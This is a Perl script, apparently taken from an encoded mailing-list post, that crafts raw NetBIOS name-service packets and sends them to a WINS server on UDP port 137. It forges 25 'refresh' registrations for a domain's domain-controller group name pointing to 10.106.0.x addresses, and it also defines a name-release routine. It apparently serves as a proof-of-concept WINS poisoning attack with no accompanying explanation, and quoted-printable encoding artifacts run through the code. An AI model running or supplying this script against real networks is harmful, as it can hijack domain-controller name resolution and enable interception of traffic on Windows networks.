use Socket;

$WINSAddress =3D "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
$DomainName =3D "AAADUMMY"; #Must be all caps
$SequenceNumber =3D 0x8000;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die =
"Socket not created $!\n";
$destAddress =3D inet_aton($WINSAddress);
$destPort =3D sockaddr_in(137, $destAddress);

for ($i=3D1;$i<=3D25; $i++)
	{SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}

sub Sequence
{
	my ($high, $low, $str);
	$high =3D $SequenceNumber >> 8;
	$low =3D $SequenceNumber % 256;
	$SequenceNumber +=3D 2;
	$str =3D chr($high) . chr ($low);
	return $str;
}

sub SendRelease
{
	my ($tempname, $data);
	$tempname =3D NetBIOSName ($_[0], $_[1]);
	$data =3D Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
. $tempname . =
"\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x2=
0\x00" . $_[2];
	send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
to send packet: $!\n";
}
=09
sub SendRefresh
{
	my ($tempname, $data);
	$tempname =3D NetBIOSName ($_[0], $_[1]);
	$data =3D Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
. $tempname . =
"\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe=
0\x00" . $_[2];
	send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
to send packet: $!\n";
}

sub NetBIOSName
{
	my ($c, $ord, $high, $low, $tempname);
	while ($_[0] =3D~ /(.)/g)
	{
		$c++;
		$ord =3D ord ($1);
		$high =3D $ord >> 4;
		$low =3D $ord % 16;
		$tempname .=3D chr($high +65) . chr($low +65);
	}
	for (;$c<15;$c++)
		{$tempname .=3D "\x43\x41"}
	$high =3D $_[1] >> 4;
	$low =3D $_[1] % 16;
	$tempname .=3D chr($high +65) . chr($low +65);
	return $tempname;
}

